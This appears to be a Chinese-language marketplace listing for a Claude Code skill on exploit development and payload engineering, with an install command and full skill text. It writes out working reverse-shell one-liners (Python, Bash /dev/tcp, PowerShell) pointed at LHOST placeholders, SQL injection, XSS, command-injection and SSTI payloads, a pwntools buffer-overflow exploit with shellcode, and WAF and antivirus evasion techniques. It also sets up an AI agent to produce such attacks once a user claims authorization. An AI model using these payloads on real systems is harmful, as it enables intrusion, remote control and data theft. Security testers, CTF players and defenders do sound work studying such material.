mcpField
E
Exploit Development & Payload Engineering

Exploit Development & Payload Engineering

github.com/masriyan安全530142 次安装1 周前更新
代码仓库

关于 Exploit Development & Payload Engineering

面向安全专业人员的 Claude 技能,用于授权范围内的漏洞研究、PoC 开发和载荷工程。开始前必须确认授权,并提供 CVE、二进制利用及 Web 载荷工作流程。

主要功能

  1. 01利用前确认授权
  2. 02CVE 研究与 PoC 规范
  3. 03载荷生成指导
  4. 04缓冲区溢出与 ROP 流程
  5. 05Web 利用载荷指导
  6. 06考虑缓解措施的 PoC 规范

适用场景

  1. 01开发授权范围内的 CVE 概念验证
  2. 02为授权测试生成载荷
  3. 03在 CTF 中练习二进制利用
  4. 04检查 PoC 是否考虑缓解措施

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/masriyan/claude-code-cybersecurity-skill --skill exploit-development-&-payload-engineering

安装后在 Claude Code 中输入/exploit-development-&-payload-engineering确认已加载。

附带文件examples/example_usage.mdscripts/payload_generator.py

详细介绍

漏洞利用开发与载荷工程

目的

帮助 Claude 协助安全专业人员开展经授权的漏洞利用开发、概念验证(PoC)制作、载荷工程和漏洞利用研究。此技能中的所有工作流都要求在继续之前确认授权情况。

关键——授权门槛:执行此技能中的任何任务之前,Claude 必须确认以下授权情形之一:

  1. 书面渗透测试授权(范围文档、SOW 或交战规则)
  2. 漏洞赏金计划范围(确认目标在范围内)
  3. CTF 竞赛(确认挑战名称和平台)
  4. 用户拥有的隔离实验环境
  5. 对用户开发的软件开展安全研究

如果以上情况均不适用,Claude 必须拒绝并说明原因。


触发条件

当用户询问以下内容时,此技能会启用:

  • 为漏洞开发 PoC(概念验证)
  • 创建反向 Shell、绑定 Shell 或载荷生成器
  • 缓冲区溢出利用或 ROP 链构造
  • SQL 注入、XSS、SSRF 或命令注入载荷
  • Shellcode 开发或分析
  • CVE 利用技术(经授权)
  • 用于经授权测试的 AV/EDR 规避技术
  • pwntools、msfvenom 或漏洞利用框架的使用方法

前置条件

pip install pwntools keystone-engine capstone

经授权的测试项目可选工具:

  • pwntools — 二进制漏洞利用框架
  • msfvenom — Metasploit 载荷生成器
  • ROPgadget — ROP 链发现工具
  • GDB + GEF/PEDA/pwndbg — 调试

授权验证工作流

在开展任何漏洞利用开发任务之前,Claude 会询问:

To proceed with exploit development, please confirm your authorization context:

1. What is the target system/software?
2. What is your authorization? (e.g., "pentest engagement with signed SOW",
   "CTF challenge: [name]", "my own lab", "bug bounty — [program name]")
3. What is the scope or environment? (e.g., isolated VM, production network?)

Without clear authorization context, I cannot assist with active exploitation.

核心功能

1. CVE 研究与 PoC 开发

当用户要求针对已知 CVE 开发 PoC 时:

  1. 研究漏洞 — 获取官方公告、NVD 条目和公开分析文章
  2. 对漏洞类型进行分类 — 缓冲区溢出、注入、反序列化、逻辑缺陷等
  3. 确定受影响组件 — 具体函数、库、端点或代码路径
  4. 确定前置条件 — 是否需要身份验证?是否需要网络访问?是否需要特定版本?
  5. 梳理利用路径 — 从易受攻击的输入到造成影响需要哪些步骤?
  6. 确定负责的范围 — 先使用仅检查模式(检测但不利用)
  7. 使用下方的标准模板编写结构化 PoC

标准 PoC 模板:

#!/usr/bin/env python3
"""
PoC for CVE-YYYY-XXXX: [Vulnerability Title]
Affected: [Software Name] [Affected Versions]
Fixed in: [Patched Version]
Type: [Vulnerability Class — e.g., Heap Buffer Overflow]
CVSS: [Score] ([Severity])
Author: [Your name] | Date: [Date]

DISCLAIMER: For authorized security testing and research only.
Unauthorized use is illegal and unethical.

Usage:
    Check-only mode (safe):    python poc.py --target host --check-only
    Exploitation mode:         python poc.py --target host --payload [payload]
"""

import argparse
import sys

def check_vulnerable(target: str) -> bool:
    """Detect vulnerability without exploitation. Safe to run."""
    # [Detection logic — version check, response fingerprint, etc.]
    pass

def exploit(target: str, payload: bytes) -> None:
    """Execute the exploitation chain. Requires authorization."""
    # [Exploitation logic]
    pass

def main():
    parser = argparse.ArgumentParser(description="PoC for CVE-YYYY-XXXX")
    parser.add_argument("--target", required=True, help="Target host:port")
    parser.add_argument("--check-only", action="store_true",
                        help="Only check if target is vulnerable (safe mode)")
    parser.add_argument("--payload", help="Payload to deliver")
    args = parser.parse_args()

    print("[*] Checking authorization: Ensure you have written permission for this target")

    if args.check_only:
        vulnerable = check_vulnerable(args.target)
        print(f"[{'VULN' if vulnerable else 'SAFE'}] Target {'appears vulnerable' if vulnerable else 'does not appear vulnerable'}")
    else:
        if not args.payload:
            print("[-] Payload required for exploitation mode")
            sys.exit(1)
        exploit(args.target, args.payload.encode())

if __name__ == "__main__":
    main()
2. 载荷生成

当用户要求生成载荷(用于经授权的测试)时:

  1. 明确部署场景:Web 应用、二进制文件、网络服务
  2. 确定目标操作系统和架构:Linux x64、Windows x86、ARM
  3. 选择适合该场景的载荷类型

反向 Shell 载荷(供经授权的测试参考):

# Python (cross-platform)
python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('LHOST',LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(['/bin/sh'])"

# Bash
bash -i >& /dev/tcp/LHOST/LPORT 0>&1

# PowerShell (Windows)
powershell -nop -c "$client=New-Object Net.Sockets.TCPClient('LHOST',LPORT);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Use payload_generator.py for structured generation:
python scripts/payload_generator.py --type reverse_shell --os linux --arch x64 --lhost 10.0.0.1 --lport 4444
python scripts/payload_generator.py --type bind_shell --os windows --arch x86 --port 4444
python scripts/payload_generator.py --list-types

载荷类型参考:

类型描述用例
反向 Shell向攻击者发起连接允许出站连接的防火墙
绑定 Shell监听目标端口未进行出站流量过滤
分阶段载荷小型引导载荷 + 完整载荷大小受限的场景
Web ShellPHP/JSP/ASPX ShellWeb 服务器访问
Meterpreter功能全面的分阶段载荷漏洞利用后的操作
3. 缓冲区溢出利用指南

当用户询问缓冲区溢出利用(经授权的实验环境/CTF)时:

  1. 模糊测试阶段 — 找出导致崩溃的输入长度:

    # pwntools fuzzing
    from pwn import *
    p = process('./vuln_binary')
    for n in range(100, 1000, 100):
        p.sendline(b'A' * n)
        if not p.poll():
            print(f"Crash at {n} bytes")
            break
    
  2. 偏移量发现 — 找到准确的 EIP/RIP 偏移量:

    # Generate a cyclic pattern
    python3 -c "from pwn import *; print(cyclic(500))"
    # In GDB after crash: x/wx $esp → get value → cyclic_find(value)
    
  3. 坏字符识别 — 找出会破坏载荷的字节:

    badchars = b"\x00"  # null byte is almost always bad
    # Test each byte 0x01-0xff in the payload
    
  4. 返回地址 / Gadget 选择:

    • 未启用 DEP/NX:在可执行内存中查找 JMP ESP
    • 已启用 DEP:使用 ROPgadget --binary vuln 构建 ROP 链
    • 已启用 ASLR:查找信息泄露或使用 ret2libc
  5. 构造漏洞利用:

    from pwn import *
    
    # Layout: [JUNK * offset] + [RET addr] + [NOP sled] + [shellcode]
    offset = 112
    ret_addr = p64(0x401234)  # JMP RSP or gadget
    nop_sled = b"\x90" * 16
    shellcode = asm(shellcraft.sh())  # pwntools shellcode
    
    payload = b"A" * offset + ret_addr + nop_sled + shellcode
    
4. Web 利用载荷

当用户请求 Web 利用载荷(用于授权测试)时:

SQL 注入载荷:

-- Union-based (MySQL)
' UNION SELECT null,username,password FROM users-- -

-- Time-based blind (MySQL)
' AND SLEEP(5)-- -

-- Error-based (MySQL)
' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -

-- Boolean blind
' AND 1=1-- -  (true)
' AND 1=2-- -  (false)

XSS 载荷:

// Basic reflected
<script>alert(document.domain)</script>

// Attribute context
" onmouseover="alert(1)

// Filter bypass (no script tag)
<img src=x onerror=alert(1)>

// DOM-based
#"><img src=x onerror=alert(1)>

命令注入载荷:

# Linux separators
; id
| id
&& id
`id`
$(id)

# Windows separators
& whoami
| whoami

SSTI 载荷:

# Jinja2 (Python)
{{7*7}}                     → 49 (confirms SSTI)
{{config.items()}}          → app config
{{''.__class__.__mro__}}    → class hierarchy for RCE

# Twig (PHP)
{{7*7}}
{{app.request.server.get('env')}}
5. 规避技术(用于授权红队行动)

当用户询问用于授权测试的 AV/WAF 规避方法时:

WAF 绕过技术:

  • 大小写变化:使用 sElEcT 而不是 SELECT
  • 注释注入:SE/**/LECT
  • URL 编码:用 %27 表示单引号
  • 双重编码:%2527
  • 空白字符替代:制表符、换行符、/**/
  • HTTP 标头操纵:X-Forwarded-For、分块编码

AV 规避概念(用于授权红队行动):

  • 进程注入:进程镂空、反射式 DLL 注入
  • 借力系统自带工具:PowerShell、wmic、certutil、mshta
  • 编码载荷:XOR、base64、自定义编码
  • 使用签名二进制文件代理执行(LOLBins)

输出标准

生成的所有 PoC 必须包含:

  • CVE ID 和受影响的软件版本
  • 开头明确声明已获得授权
  • 通过 --check-only 模式检测而不利用漏洞
  • 使用说明和预期输出
  • 与漏洞利用一并提供修复步骤
  • 适用时提供负责任披露指南

脚本参考

payload_generator.py
python scripts/payload_generator.py --type reverse_shell --os linux --arch x64 --lhost 10.0.0.1 --lport 4444
python scripts/payload_generator.py --type bind_shell --os windows --arch x86 --port 4444
python scripts/payload_generator.py --list-types

技能集成

条件下一项/上一项技能
已确认漏洞 → 构建 PoC← Skill 02(漏洞扫描器)
需要对二进制文件进行 RE 以查找漏洞← Skill 04(逆向工程)
在参与行动中交付漏洞利用→ Skill 14(红队行动)
根据漏洞利用生成检测方案→ Skill 15(蓝队防御)

参考资料


v3.0 增强功能(2026 年更新)

授权门槛仍然适用——在开展任何 PoC 工作前,确认已获得书面授权,或确认属于 CTF 或实验室范围。

PoC 必须考虑的现代缓解措施:

  • 硬件 CFI——Intel CET(影子栈 + IBT)和 ARM PAC/BTI 会破坏简单的 ROP/JOP;记录已启用的缓解措施,以及所需的绕过类别(例如,考虑影子栈的链、ARM 上滥用签名小工具)。
  • Windows 防御措施——在提出用户态/内核态利用路径时,考虑 CFG/XFG、ACG、CIG、内核 CET。
  • 面向堆的技术——优先使用现代原语(tcache/glibc 2.34+ 中移除 __malloc_hook、House-of-* 变体、UAF→类型混淆),而不是经典 unlink;注明分配器和版本假设。
  • 浏览器/JIT 上下文——当目标是 JS 引擎时,说明 V8/JSC 类型混淆以及 addrof/fakeobj 原语模型。
  • 反序列化小工具链——对于 Web/应用程序目标,应梳理特定语言的利用入口(Java ysoserial 风格、.NET、PHP POP 链、Python pickle),而不是内存损坏。
  • WAF 绕过演进——存在内联 WAF 时,考虑编码/规范化、HTTP 请求走私,以及解析器差异载荷。

**精确性规则:**每个 PoC 都要说明目标架构/操作系统/版本、正在生效的缓解措施、可靠性估计,以及供蓝队采取行动的防御检测特征。

评论

支持 Markdown